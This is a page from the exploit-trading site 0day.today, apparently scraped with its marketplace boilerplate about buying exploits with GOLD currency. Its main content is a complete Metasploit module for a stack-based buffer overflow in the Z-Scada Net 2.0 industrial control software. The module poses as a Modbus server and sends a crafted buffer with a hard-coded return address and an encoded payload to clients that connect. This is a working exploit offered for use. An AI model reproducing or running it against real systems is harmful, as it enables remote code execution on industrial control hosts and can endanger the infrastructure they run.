0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
ZScada Modbus Buffer 2.0 - Stack-Based Buffer Overflow Exploit
require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super(update_info(info, 'Name' => 'ZScada Net Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow found in Z-Scada Net 2.0. The vulnerability is triggered when parsing the response to a Modbus packet. }, 'Author' => [ 'james fitts' ], 'License' => MSF_LICENSE, 'References' => [ [ 'url', 'https://lists.immunityinc.com/pipermail/canvas/2014-December/000141.html' ], ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 500, 'BadChars' => "", 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 EN', { # zscadanet.exe v1.0 # pop ecx/ pop ebp/ retn 'Ret' => 0x00429c35 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 11 2014')) register_options( [ OptPort.new('SRVPORT', [ true, "The port to listen on", 502]) ], self.class) end def on_client_data(client) p = payload.encoded buf = pattern_create(5000) buf[574, 4] = [0x909006eb].pack('V') # jmp $+8 buf[578, 4] = [target.ret].pack('V') buf[582, 24] = "\x41" * 24 buf[606, p.length] = p client.put(buf) handler service.close_client(client) end end # 0day.today [2024-12-25] #